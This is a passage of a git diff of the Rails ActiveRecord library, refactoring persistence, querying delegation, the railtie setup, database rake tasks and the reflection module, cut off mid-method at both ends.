     #   # Account Load (1.2ms)  SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1  [["id", 1]]
     #   # => #<Account id: 1, email: 'account at example.com'>
     #
-    # Attributes are updated, and caches busted, in particular the associations cache.
+    # Attributes are reloaded from the database, and caches busted, in
+    # particular the associations cache.
     #
     # If the record no longer exists in the database <tt>ActiveRecord::RecordNotFound</tt>
     # is raised. Otherwise, in addition to the in-place modification the method
@@ -363,7 +366,7 @@ module ActiveRecord
     #   assert_equal 25, account.credit        # check it is updated in memory
     #   assert_equal 25, account.reload.credit # check it is also persisted
     #
-    # Another commom use case is optimistic locking handling:
+    # Another common use case is optimistic locking handling:
     #
     #   def with_optimistic_retry
     #     begin
@@ -386,7 +389,7 @@ module ActiveRecord
 
       fresh_object =
         if options && options[:lock]
-          self.class.unscoped { self.class.lock.find(id) }
+          self.class.unscoped { self.class.lock(options[:lock]).find(id) }
         else
           self.class.unscoped { self.class.find(id) }
         end
@@ -428,7 +431,7 @@ module ActiveRecord
     #   ball.touch(:updated_at)   # => raises ActiveRecordError
     #
     def touch(name = nil)
-      raise ActiveRecordError, "can not touch on a new record object" unless persisted?
+      raise ActiveRecordError, "cannot touch on a new record object" unless persisted?
 
       attributes = timestamp_attributes_for_update_in_model
       attributes << name if name
@@ -444,9 +447,11 @@ module ActiveRecord
 
         changes[self.class.locking_column] = increment_lock if locking_enabled?
 
-        @changed_attributes.except!(*changes.keys)
+        changed_attributes.except!(*changes.keys)
         primary_key = self.class.primary_key
         self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
+      else
+        true
       end
     end
 
@@ -474,36 +479,24 @@ module ActiveRecord
 
     def create_or_update
       raise ReadOnlyRecord if readonly?
-      result = new_record? ? create_record : update_record
+      result = new_record? ? _create_record : _update_record
       result != false
     end
 
     # Updates the associated record with values matching those of the instance attributes.
     # Returns the number of affected rows.
-    def update_record(attribute_names = @attributes.keys)
-      attributes_with_values = arel_attributes_with_values_for_update(attribute_names)
-      if attributes_with_values.empty?
+    def _update_record(attribute_names = @attributes.keys)
+      attributes_values = arel_attributes_with_values_for_update(attribute_names)
+      if attributes_values.empty?
         0
       else
-        klass = self.class
-        column_hash = klass.connection.schema_cache.columns_hash klass.table_name
-        db_columns_with_values = attributes_with_values.map { |attr,value|
-          real_column = column_hash[attr.name]
-          [real_column, value]
-        }
-        bind_attrs = attributes_with_values.dup
-        bind_attrs.keys.each_with_index do |column, i|
-          real_column = db_columns_with_values[i].first
-          bind_attrs[column] = klass.connection.substitute_at(real_column, i)
-        end
-        stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id_was || id)).arel.compile_update(bind_attrs)
-        klass.connection.update stmt, 'SQL', db_columns_with_values
+        self.class.unscoped._update_record attributes_values, id, id_was
       end
     end
 
     # Creates a record with values matching those of the instance attributes
     # and returns its id.
-    def create_record(attribute_names = @attributes.keys)
+    def _create_record(attribute_names = @attributes.keys)
       attributes_values = arel_attributes_with_values_for_create(attribute_names)
 
       new_id = self.class.unscoped.insert attributes_values
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
index f78ccb0..ef138c6 100644
--- a/activerecord/lib/active_record/querying.rb
+++ b/activerecord/lib/active_record/querying.rb
@@ -1,20 +1,22 @@
 module ActiveRecord
   module Querying
-    delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :all
-    delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :all
-    delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :all
-    delegate :find_by, :find_by!, :to => :all
-    delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :all
-    delegate :find_each, :find_in_batches, :to => :all
+    delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, to: :all
+    delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, to: :all
+    delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
+    delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
+    delegate :find_by, :find_by!, to: :all
+    delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
+    delegate :find_each, :find_in_batches, to: :all
     delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
-             :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
-             :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :to => :all
-    delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :all
+             :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly,
+             :having, :create_with, :uniq, :distinct, :references, :none, :unscope, to: :all
+    delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
+    delegate :pluck, :ids, to: :all
 
     # Executes a custom SQL query against your database and returns all the results. The results will
     # be returned as an array with columns requested encapsulated as attributes of the model you call
     # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
-    # a Product object with the attributes you specified in the SQL query.
+    # a +Product+ object with the attributes you specified in the SQL query.
     #
     # If you call a complicated SQL query which spans multiple tables the columns specified by the
     # SELECT will be attributes of the model, whether or not they are columns of the corresponding
@@ -29,9 +31,10 @@ module ActiveRecord
     #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
     #   # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
     #
-    #   # You can use the same string replacement techniques as you can with ActiveRecord#find
+    # You can use the same string replacement techniques as you can with <tt>ActiveRecord::QueryMethods#where</tt>:
+    #
     #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-    #   # => [#<Post:0x36bff9c @attributes={"title"=>"The Cheap Man Buys Twice"}>, ...]
+    #   Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
     def find_by_sql(sql, binds = [])
       result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
       column_types = {}
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 95ac41e..11b564f 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -31,22 +31,16 @@ module ActiveRecord
 
 
     config.active_record.use_schema_cache_dump = true
+    config.active_record.maintain_test_schema = true
 
     config.eager_load_namespaces << ActiveRecord
 
     rake_tasks do
       require "active_record/base"
 
-      ActiveRecord::Tasks::DatabaseTasks.seed_loader = Rails.application
-      ActiveRecord::Tasks::DatabaseTasks.env = Rails.env
-
       namespace :db do
         task :load_config do
-          ActiveRecord::Tasks::DatabaseTasks.db_dir = Rails.application.config.paths["db"].first
           ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
-          ActiveRecord::Tasks::DatabaseTasks.migrations_paths = Rails.application.paths['db/migrate'].to_a
-          ActiveRecord::Tasks::DatabaseTasks.fixtures_path = File.join Rails.root, 'test', 'fixtures'
-          ActiveRecord::Tasks::DatabaseTasks.root = Rails.root
 
           if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
             if engine.paths['db/migrate'].existent
@@ -112,56 +106,6 @@ module ActiveRecord
 
     initializer "active_record.set_configs" do |app|
       ActiveSupport.on_load(:active_record) do
-        begin
-          old_behavior, ActiveSupport::Deprecation.behavior = ActiveSupport::Deprecation.behavior, :stderr
-          whitelist_attributes = app.config.active_record.delete(:whitelist_attributes)
-
-          if respond_to?(:mass_assignment_sanitizer=)
-            mass_assignment_sanitizer = nil
-          else
-            mass_assignment_sanitizer = app.config.active_record.delete(:mass_assignment_sanitizer)
-          end
-
-          unless whitelist_attributes.nil? && mass_assignment_sanitizer.nil?
-            ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
-              Model based mass assignment security has been extracted
-              out of Rails into a gem. Please use the new recommended protection model for
-              params or add `protected_attributes` to your Gemfile to use the old one.
-
-              To disable this message remove the `whitelist_attributes` option from your
-              `config/application.rb` file and any `mass_assignment_sanitizer` options
-              from your `config/environments/*.rb` files.
-
-              See http://guides.rubyonrails.org/security.html#mass-assignment for more information.
-            EOF
-          end
-
-          unless app.config.active_record.delete(:auto_explain_threshold_in_seconds).nil?
-            ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
-              The Active Record auto explain feature has been removed.
-
-              To disable this message remove the `active_record.auto_explain_threshold_in_seconds`
-              option from the `config/environments/*.rb` config file.
-
-              See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
-            EOF
-          end
-
-          unless app.config.active_record.delete(:observers).nil?
-            ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
-              Active Record Observers has been extracted out of Rails into a gem.
-              Please use callbacks or add `rails-observers` to your Gemfile to use observers.
-
-              To disable this message remove the `observers` option from your
-              `config/application.rb` or from your initializers.
-
-              See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
-            EOF
-          end
-        ensure
-          ActiveSupport::Deprecation.behavior = old_behavior
-        end
-
         app.config.active_record.each do |k,v|
           send "#{k}=", v
         end
@@ -172,7 +116,16 @@ module ActiveRecord
     # and then establishes the connection.
     initializer "active_record.initialize_database" do |app|
       ActiveSupport.on_load(:active_record) do
-        self.configurations = app.config.database_configuration || {}
+
+        class ActiveRecord::NoDatabaseError
+          remove_possible_method :extend_message
+          def extend_message(message)
+            message << "Run `$ bin/rake db:create db:migrate` to create your database"
+            message
+          end
+        end
+
+        self.configurations = Rails.application.config.database_configuration
         establish_connection
       end
     end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 242845b..6b0459e 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -2,7 +2,7 @@ require 'active_record'
 
 db_namespace = namespace :db do
   task :load_config do
-    ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+    ActiveRecord::Base.configurations       = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
     ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
   end
 
@@ -12,13 +12,9 @@ db_namespace = namespace :db do
     end
   end
 
-  desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+  desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.'
   task :create => [:load_config] do
-    if ENV['DATABASE_URL']
-      ActiveRecord::Tasks::DatabaseTasks.create_database_url
-    else
-      ActiveRecord::Tasks::DatabaseTasks.create_current
-    end
+    ActiveRecord::Tasks::DatabaseTasks.create_current
   end
 
   namespace :drop do
@@ -27,13 +23,9 @@ db_namespace = namespace :db do
     end
   end
 
-  desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+  desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.'
   task :drop => [:load_config] do
-    if ENV['DATABASE_URL']
-      ActiveRecord::Tasks::DatabaseTasks.drop_database_url
-    else
-      ActiveRecord::Tasks::DatabaseTasks.drop_current
-    end
+    ActiveRecord::Tasks::DatabaseTasks.drop_current
   end
 
   desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
@@ -42,7 +34,7 @@ db_namespace = namespace :db do
     ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
       ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
     end
-    db_namespace['_dump'].invoke
+    db_namespace['_dump'].invoke if ActiveRecord::Base.dump_schema_after_migration
   end
 
   task :_dump do
@@ -83,7 +75,7 @@ db_namespace = namespace :db do
     # desc 'Runs the "down" for a given migration VERSION.'
     task :down => [:environment, :load_config] do
       version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
-      raise 'VERSION is required' unless version
+      raise 'VERSION is required - To go down one migration, run db:rollback' unless version
       ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
       db_namespace['_dump'].invoke
     end
@@ -172,7 +164,7 @@ db_namespace = namespace :db do
     end
   end
 
-  desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
+  desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the database first)'
   task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
 
   desc 'Load the seed data from db/seeds.rb'
@@ -187,9 +179,6 @@ db_namespace = namespace :db do
       require 'active_record/fixtures'
 
       base_dir = if ENV['FIXTURES_PATH']
-        STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
-                    "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
-                    "instead."
         File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
       else
         ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -197,7 +186,7 @@ db_namespace = namespace :db do
 
       fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
 
-      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
+      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(',') : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
         ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_file)
       end
     end
@@ -212,9 +201,6 @@ db_namespace = namespace :db do
       puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
 
       base_dir = if ENV['FIXTURES_PATH']
-        STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
-                    "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
-                    "instead."
         File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
       else
         ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -236,7 +222,7 @@ db_namespace = namespace :db do
   end
 
   namespace :schema do
-    desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR'
+    desc 'Create a db/schema.rb file that is portable against any DB supported by AR'
     task :dump => [:environment, :load_config] do
       require 'active_record/schema_dumper'
       filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
@@ -248,12 +234,7 @@ db_namespace = namespace :db do
 
     desc 'Load a schema.rb file into the database'
     task :load => [:environment, :load_config] do
-      file = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
-      if File.exists?(file)
-        load(file)
-      else
-        abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it, then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.}
-      end
+      ActiveRecord::Tasks::DatabaseTasks.load_schema(:ruby, ENV['SCHEMA'])
     end
 
     task :load_if_ruby => ['db:create', :environment] do
@@ -274,7 +255,7 @@ db_namespace = namespace :db do
       desc 'Clear a db/schema_cache.dump file.'
       task :clear => [:environment, :load_config] do
         filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
-        FileUtils.rm(filename) if File.exists?(filename)
+        FileUtils.rm(filename) if File.exist?(filename)
       end
     end
 
@@ -287,9 +268,11 @@ db_namespace = namespace :db do
       current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
       ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
 
-      if ActiveRecord::Base.connection.supports_migrations?
+      if ActiveRecord::Base.connection.supports_migrations? &&
+          ActiveRecord::SchemaMigration.table_exists?
         File.open(filename, "a") do |f|
           f.puts ActiveRecord::Base.connection.dump_schema_information
+          f.print "\n"
         end
       end
       db_namespace['structure:dump'].reenable
@@ -297,9 +280,7 @@ db_namespace = namespace :db do
 
     # desc "Recreate the databases from the structure.sql file"
     task :load => [:environment, :load_config] do
-      filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
-      current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
-      ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
+      ActiveRecord::Tasks::DatabaseTasks.load_schema(:sql, ENV['DB_STRUCTURE'])
     end
 
     task :load_if_sql => ['db:create', :environment] do
@@ -309,8 +290,15 @@ db_namespace = namespace :db do
 
   namespace :test do
 
+    task :deprecated do
+      Rake.application.top_level_tasks.grep(/^db:test:/).each do |task|
+        $stderr.puts "WARNING: #{task} is deprecated. The Rails test helper now maintains " \
+                     "your test schema automatically, see the release notes for details."
+      end
+    end
+
     # desc "Recreate the test database from the current schema"
-    task :load => 'db:test:purge' do
+    task :load => %w(db:test:deprecated db:test:purge) do
       case ActiveRecord::Base.schema_format
         when :ruby
           db_namespace["test:load_schema"].invoke
@@ -320,7 +308,7 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from an existent schema.rb file"
-    task :load_schema => 'db:test:purge' do
+    task :load_schema => %w(db:test:deprecated db:test:purge) do
       begin
         should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
         ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
@@ -334,7 +322,7 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from an existent structure.sql file"
-    task :load_structure => 'db:test:purge' do
+    task :load_structure => %w(db:test:deprecated db:test:purge) do
       begin
         ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
         db_namespace["structure:load"].invoke
@@ -344,7 +332,7 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from a fresh schema"
-    task :clone do
+    task :clone => %w(db:test:deprecated environment) do
       case ActiveRecord::Base.schema_format
         when :ruby
           db_namespace["test:clone_schema"].invoke
@@ -354,18 +342,18 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from a fresh schema.rb file"
-    task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+    task :clone_schema => %w(db:test:deprecated db:schema:dump db:test:load_schema)
 
     # desc "Recreate the test database from a fresh structure.sql file"
-    task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+    task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure)
 
     # desc "Empty the test database"
-    task :purge => [:environment, :load_config] do
+    task :purge => %w(db:test:deprecated environment load_config) do
       ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
     end
 
     # desc 'Check for pending migrations and load the test schema'
-    task :prepare => :load_config do
+    task :prepare => %w(db:test:deprecated environment load_config) do
       unless ActiveRecord::Base.configurations.blank?
         db_namespace['test:load'].invoke
       end
@@ -400,6 +388,3 @@ namespace :railties do
     end
   end
 end
-
-task 'test:prepare' => ['db:test:prepare', 'db:test:load', 'db:abort_if_pending_migrations']
-
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
index 8499bb1..b3ddfd6 100644
--- a/activerecord/lib/active_record/readonly_attributes.rb
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -20,11 +20,5 @@ module ActiveRecord
         self._attr_readonly
       end
     end
-
-    def _attr_readonly
-      message = "Instance level _attr_readonly method is deprecated, please use class level method."
-      ActiveSupport::Deprecation.warn message
-      defined?(@_attr_readonly) ? @_attr_readonly : self.class._attr_readonly
-    end
   end
 end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 7dc0260..5111fcc 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -4,11 +4,32 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :reflections
-      self.reflections = {}
+      class_attribute :_reflections
+      class_attribute :aggregate_reflections
+      self._reflections = {}
+      self.aggregate_reflections = {}
     end
 
-    # Reflection enables to interrogate Active Record classes and objects
+    def self.create(macro, name, scope, options, ar)
+      case macro
+      when :has_many, :belongs_to, :has_one
+        klass = options[:through] ? ThroughReflection : AssociationReflection
+      when :composed_of
+        klass = AggregateReflection
+      end
+
+      klass.new(macro, name, scope, options, ar)
+    end
+
+    def self.add_reflection(ar, name, reflection)
+      ar._reflections = ar._reflections.merge(name => reflection)
+    end
+
+    def self.add_aggregate_reflection(ar, name, reflection)
+      ar.aggregate_reflections = ar.aggregate_reflections.merge(name => reflection)
+    end
+
+    # \Reflection enables to interrogate Active Record classes and objects
     # about their associations and aggregations. This information can,
     # for example, be used in a form builder that takes an Active Record object
     # and creates input fields for all of the attributes depending on their type
@@ -17,22 +38,9 @@ module ActiveRecord
     # MacroReflection class has info for AggregateReflection and AssociationReflection
     # classes.
     module ClassMethods
-      def create_reflection(macro, name, scope, options, active_record)
-        case macro
-        when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
-          klass = options[:through] ? ThroughReflection : AssociationReflection
-          reflection = klass.new(macro, name, scope, options, active_record)
-        when :composed_of
-          reflection = AggregateReflection.new(macro, name, scope, options, active_record)
-        end
-
-        self.reflections = self.reflections.merge(name => reflection)
-        reflection
-      end
-
       # Returns an array of AggregateReflection objects for all the aggregations in the class.
       def reflect_on_all_aggregations
-        reflections.values.grep(AggregateReflection)
+        aggregate_reflections.values
       end
 
       # Returns the AggregateReflection object for the named +aggregation+ (use the symbol).
@@ -40,8 +48,25 @@ module ActiveRecord
       #   Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
       #
       def reflect_on_aggregation(aggregation)
-        reflection = reflections[aggregation]
-        reflection if reflection.is_a?(AggregateReflection)
+        aggregate_reflections[aggregation]
+      end
+
+      # Returns a Hash of name of the reflection as the key and a AssociationReflection as the value.
+      #
+      #   Account.reflections # => {balance: AggregateReflection}
+      #
+      # @api public
+      def reflections
+        ref = {}
+        _reflections.each do |name, reflection|
+          parent_name, parent_reflection = reflection.parent_reflection
+          if parent_name
+            ref[parent_name] = parent_reflection
+          else
+            ref[name] = reflection
+          end
+        end
+        ref
       end
 
       # Returns an array of AssociationReflection objects for all the
@@ -54,8 +79,9 @@ module ActiveRecord
       #   Account.reflect_on_all_associations             # returns an array of all associations
       #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
       #
+      #   @api public
       def reflect_on_all_associations(macro = nil)
-        association_reflections = reflections.values.grep(AssociationReflection)
+        association_reflections = reflections.values
         macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
       end
 
@@ -64,12 +90,19 @@ module ActiveRecord
       #   Account.reflect_on_association(:owner)             # returns the owner AssociationReflection
       #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
       #
+      #   @api public
       def reflect_on_association(association)
-        reflection = reflections[association]
-        reflection if reflection.is_a?(AssociationReflection)
+        reflections[association]
+      end
+
+      #   @api private
+      def _reflect_on_association(association) #:nodoc:
+        _reflections[association]
       end
 
       # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+      #
+      #   @api public
       def reflect_on_all_autosave_associations
         reflections.values.select { |reflection| reflection.options[:autosave] }
       end
@@ -100,7 +133,7 @@ module ActiveRecord
       # Returns the hash of options used for the macro.
       #
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>{ class_name: "Money" }</tt>
-      # <tt>has_many :clients</tt> returns +{}+
+      # <tt>has_many :clients</tt> returns <tt>{}</tt>
       attr_reader :options
 
       attr_reader :active_record
@@ -113,10 +146,20 @@ module ActiveRecord
         @scope         = scope
         @options       = options
         @active_record = active_record
+        @klass         = options[:class]
         @plural_name   = active_record.pluralize_table_names ?
                             name.to_s.pluralize : name.to_s
       end
 
+      def autosave=(autosave)
+        @automatic_inverse_of = false
+        @options[:autosave] = autosave
+        _, parent_reflection = self.parent_reflection
+        if parent_reflection
+          parent_reflection.autosave = autosave
+        end
+      end
+
       # Returns the class for the macro.
       #
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
@@ -139,7 +182,7 @@ module ActiveRecord
         super ||
           other_aggregation.kind_of?(self.class) &&
           name == other_aggregation.name &&
-          other_aggregation.options &&
+          !other_aggregation.options.nil? &&
           active_record == other_aggregation.active_record
       end
 
@@ -178,9 +221,16 @@ module ActiveRecord
         @klass ||= active_record.send(:compute_type, class_name)
       end
 
-      def initialize(*args)
+      attr_reader :type, :foreign_type
+      attr_accessor :parent_reflection # [:name, Reflection]
+
+      def initialize(macro, name, scope, options, active_record)
         super
         @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
+        @automatic_inverse_of = nil
+        @type         = options[:as] && "#{options[:as]}_type"
+        @foreign_type = options[:foreign_type] || "#{name}_type"
+        @constructable = calculate_constructable(macro, options)
       end
 
       # Returns a new, unsaved instance of the associated class. +attributes+ will
@@ -189,12 +239,16 @@ module ActiveRecord
         klass.new(attributes, &block)
       end
 
+      def constructable? # :nodoc:
+        @constructable
+      end
+
       def table_name
-        @table_name ||= klass.table_name
+        klass.table_name
       end
 
       def quoted_table_name
-        @quoted_table_name ||= klass.quoted_table_name
+        klass.quoted_table_name
       end
 
       def join_table
@@ -205,16 +259,8 @@ module ActiveRecord
         @foreign_key ||= options[:foreign_key] || derive_foreign_key
       end
 
-      def foreign_type
-        @foreign_type ||= options[:foreign_type] || "#{name}_type"
-      end
-
-      def type
-        @type ||= options[:as] && "#{options[:as]}_type"
-      end
-
       def primary_key_column
-        @primary_key_column ||= klass.columns.find { |c| c.name == klass.primary_key }
+        klass.columns_hash[klass.primary_key]
       end
 
       def association_foreign_key
@@ -238,20 +284,8 @@ module ActiveRecord
         end
       end
 
-      def columns(tbl_name)
-        @columns ||= klass.connection.columns(tbl_name)
-      end
-
-      def reset_column_information
-        @columns = nil
-      end
-
       def check_validity!
         check_validity_of_inverse!
-
-        if has_and_belongs_to_many? && association_foreign_key == foreign_key
-          raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
-        end
       end
 
       def check_validity_of_inverse!
@@ -267,7 +301,7 @@ module ActiveRecord
       end
 
       def source_reflection
-        nil
+        self
       end
 
       # A chain of reflections from this one back to the owner. For more see the explanation in
@@ -289,18 +323,18 @@ module ActiveRecord
       alias :source_macro :macro
 
       def has_inverse?
-        @options[:inverse_of]
+        inverse_name
       end
 
       def inverse_of
-        if has_inverse?
-          @inverse_of ||= klass.reflect_on_association(options[:inverse_of])
-        end
+        return unless inverse_name
+
+        @inverse_of ||= klass._reflect_on_association inverse_name
       end
 
       def polymorphic_inverse_of(associated_class)
         if has_inverse?
-          if inverse_relationship = associated_class.reflect_on_association(options[:inverse_of])
+          if inverse_relationship = associated_class._reflect_on_association(options[:inverse_of])
             inverse_relationship
           else
             raise InverseOfAssociationNotFoundError.new(self, associated_class)
@@ -333,10 +367,6 @@ module ActiveRecord
         macro == :belongs_to
       end
 
-      def has_and_belongs_to_many?
-        macro == :has_and_belongs_to_many
-      end
-
       def association_class
         case macro
         when :belongs_to
@@ -345,8 +375,6 @@ module ActiveRecord
           else
             Associations::BelongsToAssociation
           end
-        when :has_and_belongs_to_many
-          Associations::HasAndBelongsToManyAssociation
         when :has_many
           if options[:through]
             Associations::HasManyThroughAssociation
@@ -366,11 +394,96 @@ module ActiveRecord
         options.key? :polymorphic
       end
 
+      VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
+      INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :polymorphic, :foreign_key]
+
+      protected
+
+        def actual_source_reflection # FIXME: this is a horrible name
+          self
+        end
+
       private
+
+        def calculate_constructable(macro, options)
+          case macro
+          when :belongs_to
+            !options[:polymorphic]
+          when :has_one
+            !options[:through]
+          else
+            true
+          end
+        end
+
+        # Attempts to find the inverse association name automatically.
+        # If it cannot find a suitable inverse association name, it returns
+        # nil.
+        def inverse_name
+          options.fetch(:inverse_of) do
+            if @automatic_inverse_of == false
+              nil
+            else
+              @automatic_inverse_of ||= automatic_inverse_of
+            end
+          end
+        end
+
+        # returns either nil or the inverse association name that it finds.
+        def automatic_inverse_of
+          if can_find_inverse_of_automatically?(self)
+            inverse_name = ActiveSupport::Inflector.underscore(active_record.name).to_sym
+
+            begin
+              reflection = klass._reflect_on_association(inverse_name)
+            rescue NameError
+              # Give up: we couldn't compute the klass type so we won't be able
+              # to find any associations either.
+              reflection = false
+            end
+
+            if valid_inverse_reflection?(reflection)
+              return inverse_name
+            end
+          end
+
+          false
+        end
+
+        # Checks if the inverse reflection that is returned from the
+        # +automatic_inverse_of+ method is a valid reflection. We must
+        # make sure that the reflection's active_record name matches up
+        # with the current reflection's klass name.
+        #
+        # Note: klass will always be valid because when there's a NameError
+        # from calling +klass+, +reflection+ will already be set to false.
+        def valid_inverse_reflection?(reflection)
+          reflection &&
+            klass.name == reflection.active_record.name &&
+            can_find_inverse_of_automatically?(reflection)
+        end
+
+        # Checks to see if the reflection doesn't have any options that prevent
+        # us from being able to guess the inverse automatically. First, the
+        # <tt>inverse_of</tt> option cannot be set to false. Second, we must
+        # have <tt>has_many</tt>, <tt>has_one</tt>, <tt>belongs_to</tt> associations.
+        # Third, we must not have options such as <tt>:polymorphic</tt> or
+        # <tt>:foreign_key</tt> which prevent us from correctly guessing the
+        # inverse association.
+        #
+        # Anything with a scope can additionally ruin our attempt at finding an
+        # inverse, so we exclude reflections with scopes.
+        def can_find_inverse_of_automatically?(reflection)
